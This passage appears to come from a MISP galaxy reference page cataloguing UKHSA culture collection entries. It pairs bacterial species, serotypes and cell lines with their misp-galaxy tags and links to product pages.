https://www.culturecollections.org.uk/nop/product/arcobacter-skirrowii

Burkholderia gladioli

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia gladioli"*

Table 28187. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-gladioli

Bartonella doshiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella doshiae"*

Table 28188. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-doshiae

Bacillus tequilensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus tequilensis"*

Table 28189. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-tequilensis

Cellulosimicrobium cellulans

The tag is: *misp-galaxy:ukhsa-culture-collections="Cellulosimicrobium cellulans"*

Table 28190. Table References

Links
https://www.culturecollections.org.uk/nop/product/cellulosimicrobium-cellulans

Cellulosimicrobium funkei

The tag is: *misp-galaxy:ukhsa-culture-collections="Cellulosimicrobium funkei"*

Table 28191. Table References

Links
https://www.culturecollections.org.uk/nop/product/cellulosimicrobium-funkei
https://www.culturecollections.org.uk/nop/product/cellulosimicrobium-funkei-2

Budvicia aquatica

The tag is: *misp-galaxy:ukhsa-culture-collections="Budvicia aquatica"*

Table 28192. Table References

Links
https://www.culturecollections.org.uk/nop/product/budvicia-aquatica-3
https://www.culturecollections.org.uk/nop/product/budvicia-aquatica-2
https://www.culturecollections.org.uk/nop/product/budvicia-aquatica

Aneurinibacillus migulanus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aneurinibacillus migulanus"*

Table 28193. Table References

Links

https://www.culturecollections.org.uk/nop/product/aneurinibacillus-migulanus

Salmonella bongori serotype Brookfield

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella bongori serotype Brookfield"*

Table 28194. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-bongori-serotype-brookfield-2
https://www.culturecollections.org.uk/nop/product/salmonella-bongori-serotype-brookfield

ATC-10

The tag is: *misp-galaxy:ukhsa-culture-collections="ATC-10"*

Table 28195. Table References

Links
https://www.culturecollections.org.uk/nop/product/atc-10

Salmonella enterica subsp. enterica serotype Waycross

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Waycross"*

Table 28196. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-waycross

Corynebacterium pseudotuberculosis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium pseudotuberculosis"*

Table 28197. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudotuberculosis
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudotuberculosis-7
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudotuberculosis-6
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudotuberculosis-5
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudotuberculosis-4

https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudotuberculosis-3
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudotuberculosis-2

Corynebacterium diphtheriae

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium diphtheriae"*

Table 28198. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-40
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-55
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-54
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-48
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-4
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-18
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-28
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-56
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-23
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-22
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-33
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-32
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-31
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-27
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-25
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-24
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-20
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-19
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-16
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-14
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-12
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-10
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-9
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-7
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-5
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-45

https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-44
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-43
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-42
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-41
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-58
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-57
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-53
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-52
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-51
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-46
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-36
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-35
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-30
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-29
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-26
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-21
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-17
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-15
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-13
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-11
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-8
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-6
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-3
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-47
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-34
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-38
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-37
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-39
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-50

Mycobacterium haemophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium haemophilum"*

Table 28199. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-haemophilum

Salmonella enterica subsp. enterica serotype Rubislaw

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Rubislaw"*

Table 28200. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-rubislaw
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-rubislaw-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-rubislaw-2

Capnocytophaga leadbetteri

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga leadbetteri"*

Table 28201. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-leadbetteri

Mycobacterium ulcerans

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium ulcerans"*

Table 28202. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-ulcerans-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-ulcerans
https://www.culturecollections.org.uk/nop/product/mycobacterium-ulcerans-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-ulcerans-5

Corynebacterium xerosis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium xerosis"*

Table 28203. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-xerosis-4
https://www.culturecollections.org.uk/nop/product/corynebacterium-xerosis-8
https://www.culturecollections.org.uk/nop/product/corynebacterium-xerosis-3
https://www.culturecollections.org.uk/nop/product/corynebacterium-xerosis-9
https://www.culturecollections.org.uk/nop/product/corynebacterium-xerosis-5
https://www.culturecollections.org.uk/nop/product/corynebacterium-xerosis-6
https://www.culturecollections.org.uk/nop/product/corynebacterium-xerosis

Clostridium spiroforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium spiroforme"*

Table 28204. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-spiroforme
https://www.culturecollections.org.uk/nop/product/clostridium-spiroforme-2

Vibrio mimicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio mimicus"*

Table 28205. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-mimicus

Salmonella enterica subsp. salamae serotype Neasden

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Neasden"*

Table 28206. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-neasden

Salmonella enterica subsp. salamae serotype Clifton

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Clifton"*

Table 28207. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-clifton

Salmonella enterica subsp. salamae serotype Basel

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Basel"*

Table 28208. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-basel

Salmonella enterica subsp. enterica serotype Vancouver

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Vancouver"*

Table 28209. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-vancouver

Salmonella enterica subsp. enterica serotype Tananarive

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Tananarive"*

Table 28210. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-tananarive

Salmonella enterica subsp. enterica serotype Sendai

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Sendai"*

Table 28211. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sendai

Salmonella enterica subsp. enterica serotype Rutgers

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Rutgers"*

Table 28212. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-rutgers

Salmonella enterica subsp. enterica serotype Paratyphi B

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Paratyphi B"*

Table 28213. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-10
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-9
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-8
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b-3

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-b

Salmonella enterica subsp. enterica serotype Pharr

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Pharr"*

Table 28214. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-pharr

Salmonella enterica subsp. enterica serotype Onarimon

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Onarimon"*

Table 28215. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-onarimon

Salmonella enterica subsp. enterica serotype Nagoya

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Nagoya"*

Table 28216. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-nagoya

Salmonella enterica subsp. enterica serotype Macallen

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Macallen"*

Table 28217. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-macallen

Salmonella enterica subsp. enterica serotype Lomita

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Lomita"*

Table 28218. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-lomita

Salmonella enterica subsp. enterica serotype Krefeld

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Krefeld"*

Table 28219. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-krefeld

Salmonella enterica subsp. enterica serotype Kedougou

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kedougou"*

Table 28220. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kedougou

Salmonella enterica subsp. enterica serotype Horsham

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Horsham"*

Table 28221. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-horsham

Salmonella enterica subsp. enterica serotype Heves

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Heves"*

Table 28222. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-heves

Salmonella enterica subsp. enterica serotype Hartford

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Hartford"*

Table 28223. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-hartford

Salmonella enterica subsp. enterica serotype Haifa

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Haifa"*

Table 28224. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-haifa

Salmonella enterica subsp. enterica serotype Gaminara

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Gaminara"*

Table 28225. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-gaminara

Salmonella enterica subsp. enterica serotype Friedenau

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Friedenau"*

Table 28226. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-friedenau

Salmonella enterica subsp. enterica serotype Edinburgh

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Edinburgh"*

Table 28227. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-edinburgh

Salmonella enterica subsp. enterica serotype Dakar

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Dakar"*

Table 28228. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-dakar

Salmonella enterica subsp. enterica serotype Carmel

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Carmel"*

Table 28229. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-carmel

Salmonella enterica subsp. enterica serotype Banalia

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Banalia"*

Table 28230. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-banalia

Salmonella enterica subsp. enterica serotype Amherstiana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Amherstiana"*

Table 28231. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-amherstiana

Brucella pinnipedialis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella pinnipedialis"*

Table 28232. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-pinnipedialis

Brucella ceti

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella ceti"*

Table 28233. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-ceti

Fusobacterium naviforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium naviforme"*

Table 28234. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-naviforme-2
https://www.culturecollections.org.uk/nop/product/fusobacterium-naviforme

Fusobacterium equinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium equinum"*

Table 28235. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-equinum

Flexispira rappini

The tag is: *misp-galaxy:ukhsa-culture-collections="Flexispira rappini"*

Table 28236. Table References

Links
https://www.culturecollections.org.uk/nop/product/flexispira-rappini

Flavobacterium mizutaii

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium mizutaii"*

Table 28237. Table References

Links
https://www.culturecollections.org.uk/nop/product/flavobacterium-mizutaii

Exiguobacterium aurantiacum

The tag is: *misp-galaxy:ukhsa-culture-collections="Exiguobacterium aurantiacum"*

Table 28238. Table References

Links
https://www.culturecollections.org.uk/nop/product/exiguobacterium-aurantiacum-2
https://www.culturecollections.org.uk/nop/product/exiguobacterium-aurantiacum

Eubacterium tardum

The tag is: *misp-galaxy:ukhsa-culture-collections="Eubacterium tardum"*

Table 28239. Table References

Links
https://www.culturecollections.org.uk/nop/product/eubacterium-tardum

Eubacterium infirmum

The tag is: *misp-galaxy:ukhsa-culture-collections="Eubacterium infirmum"*

Table 28240. Table References

Links
https://www.culturecollections.org.uk/nop/product/eubacterium-infirmum

Entomoplasma melaleucae

The tag is: *misp-galaxy:ukhsa-culture-collections="Entomoplasma melaleucae"*

Table 28241. Table References

Links
https://www.culturecollections.org.uk/nop/product/entomoplasma-melaleucae

Entomoplasma ellychniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Entomoplasma ellychniae"*

Table 28242. Table References

Links
https://www.culturecollections.org.uk/nop/product/entomoplasma-ellychniae

Edwardsiella ictaluri

The tag is: *misp-galaxy:ukhsa-culture-collections="Edwardsiella ictaluri"*

Table 28243. Table References

Links
https://www.culturecollections.org.uk/nop/product/edwardsiella-ictaluri

Edwardsiella hoshinae

The tag is: *misp-galaxy:ukhsa-culture-collections="Edwardsiella hoshinae"*

Table 28244. Table References

Links
https://www.culturecollections.org.uk/nop/product/edwardsiella-hoshinae

Dermacoccus nishinomiyaensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Dermacoccus nishinomiyaensis"*

Table 28245. Table References

Links
https://www.culturecollections.org.uk/nop/product/dermacoccus-nishinomiyaensis

Corynebacterium diphtheriae var mitis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium diphtheriae var mitis"*

Table 28246. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-var-mitis

Corynebacterium diphtheriae biovar belfanti

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium diphtheriae biovar belfanti"*

Table 28247. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-biovar-belfanti
https://www.culturecollections.org.uk/nop/product/corynebacterium-diphtheriae-biovar-belfanti-2

Chryseobacterium jejuense

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium jejuense"*

Table 28248. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-jejuense

Chryseobacterium indologenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium indologenes"*

Table 28249. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-indologenes

Chryseobacterium bovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium bovis"*

Table 28250. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-bovis

Chryseobacterium aquifrigidense

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium aquifrigidense"*

Table 28251. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-aquifrigidense

Chryseobacterium antarcticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium antarcticum"*

Table 28252. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-antarcticum

Capnocytophaga haemolytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga haemolytica"*

Table 28253. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-haemolytica

Capnocytophaga granulosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga granulosa"*

Table 28254. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-granulosa

Capnocytophaga gingivalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga gingivalis"*

Table 28255. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-gingivalis-2

Capnocytophaga cynodegmi

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga cynodegmi"*

Table 28256. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-cynodegmi

Capnocytophaga canimorsus

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga canimorsus"*

Table 28257. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-canimorsus-2
https://www.culturecollections.org.uk/nop/product/capnocytophaga-canimorsus

Buttiauxella agrestis

The tag is: *misp-galaxy:ukhsa-culture-collections="Buttiauxella agrestis"*

Table 28258. Table References

Links
https://www.culturecollections.org.uk/nop/product/buttiauxella-agrestis

Burkholderia ubonensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia ubonensis"*

Table 28259. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-ubonensis

Burkholderia stabilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia stabilis"*

Table 28260. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-stabilis

Burkholderia oklahomensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia oklahomensis"*

Table 28261. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-oklahomensis-4
https://www.culturecollections.org.uk/nop/product/burkholderia-oklahomensis-3
https://www.culturecollections.org.uk/nop/product/burkholderia-oklahomensis-2
https://www.culturecollections.org.uk/nop/product/burkholderia-oklahomensis

Burkholderia multivorans

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia multivorans"*

Table 28262. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-multivorans

Brochothrix thermosphacta

The tag is: *misp-galaxy:ukhsa-culture-collections="Brochothrix thermosphacta"*

Table 28263. Table References

Links

https://www.culturecollections.org.uk/nop/product/brochothrix-thermosphacta

Brevibacillus brevis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevibacillus brevis"*

Table 28264. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevibacillus-brevis-2
https://www.culturecollections.org.uk/nop/product/brevibacillus-brevis

Bisgaardia sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Bisgaardia sp."*

Table 28265. Table References

Links
https://www.culturecollections.org.uk/nop/product/bisgaardia-sp

Bifidobacterium infantis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bifidobacterium infantis"*

Table 28266. Table References

Links
https://www.culturecollections.org.uk/nop/product/bifidobacterium-infantis

Bifidobacterium adolescentis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bifidobacterium adolescentis"*

Table 28267. Table References

Links
https://www.culturecollections.org.uk/nop/product/bifidobacterium-adolescentis

Bacillus freudenreichii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus freudenreichii"*

Table 28268. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-freudenreichii

Arcobacter sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Arcobacter sp."*

Table 28269. Table References

Links
https://www.culturecollections.org.uk/nop/product/arcobacter-sp-8
https://www.culturecollections.org.uk/nop/product/arcobacter-sp-7
https://www.culturecollections.org.uk/nop/product/arcobacter-sp-6
https://www.culturecollections.org.uk/nop/product/arcobacter-sp-5
https://www.culturecollections.org.uk/nop/product/arcobacter-sp-4
https://www.culturecollections.org.uk/nop/product/arcobacter-sp-3
https://www.culturecollections.org.uk/nop/product/arcobacter-sp-2
https://www.culturecollections.org.uk/nop/product/arcobacter-sp

Arcobacter nitrofigilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Arcobacter nitrofigilis"*

Table 28270. Table References

Links
https://www.culturecollections.org.uk/nop/product/arcobacter-nitrofigilis

Aeromonas encheleia

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas encheleia"*

Table 28271. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-encheleia

Actinobacillus equuli subsp. haemolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus equuli subsp. haemolyticus"*

Table 28272. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-equuli-subsp-haemolyticus

Acholeplasma parvum

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma parvum"*

Table 28273. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-parvum

Acholeplasma morum

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma morum"*

Table 28274. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-morum

Mycobacterium avium subsp. avium

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium avium subsp. avium"*

Table 28275. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium-subsp-avium
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium-subsp-avium-2

Mycobacterium avium subsp. paratuberculosis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium avium subsp. paratuberculosis"*

Table 28276. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium-subsp-paratuberculosis

Campylobacter ureolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter ureolyticus"*

Table 28277. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-ureolyticus
https://www.culturecollections.org.uk/nop/product/campylobacter-ureolyticus-4

https://www.culturecollections.org.uk/nop/product/campylobacter-ureolyticus-3

Bacteroides fragilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides fragilis"*

Table 28278. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-fragilis-8
https://www.culturecollections.org.uk/nop/product/bacteroides-fragilis-6
https://www.culturecollections.org.uk/nop/product/bacteroides-fragilis
https://www.culturecollections.org.uk/nop/product/bacteroides-fragilis-2
https://www.culturecollections.org.uk/nop/product/bacteroides-fragilis-7
https://www.culturecollections.org.uk/nop/product/bacteroides-fragilis-3
https://www.culturecollections.org.uk/nop/product/bacteroides-fragilis-5
https://www.culturecollections.org.uk/nop/product/bacteroides-fragilis-4

161BR

The tag is: *misp-galaxy:ukhsa-culture-collections="161BR"*

Table 28279. Table References

Links
https://www.culturecollections.org.uk/nop/product/161br

HMT-3522 S1

The tag is: *misp-galaxy:ukhsa-culture-collections="HMT-3522 S1"*

Table 28280. Table References

Links
https://www.culturecollections.org.uk/nop/product/hmt-3522-s1

SSN-1

The tag is: *misp-galaxy:ukhsa-culture-collections="SSN-1"*

Table 28281. Table References

Links
https://www.culturecollections.org.uk/nop/product/ssn-1

Acinetobacter lwoffii

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter lwoffii"*

Table 28282. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-lwoffii-4
https://www.culturecollections.org.uk/nop/product/acinetobacter-lwoffii
https://www.culturecollections.org.uk/nop/product/acinetobacter-lwoffii-5
https://www.culturecollections.org.uk/nop/product/acinetobacter-lwoffii-3
https://www.culturecollections.org.uk/nop/product/acinetobacter-lwoffii-2

Staphylococcus haemolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus haemolyticus"*

Table 28283. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-haemolyticus
https://www.culturecollections.org.uk/nop/product/staphylococcus-haemolyticus-2

HAM006

The tag is: *misp-galaxy:ukhsa-culture-collections="HAM006"*

Table 28284. Table References

Links
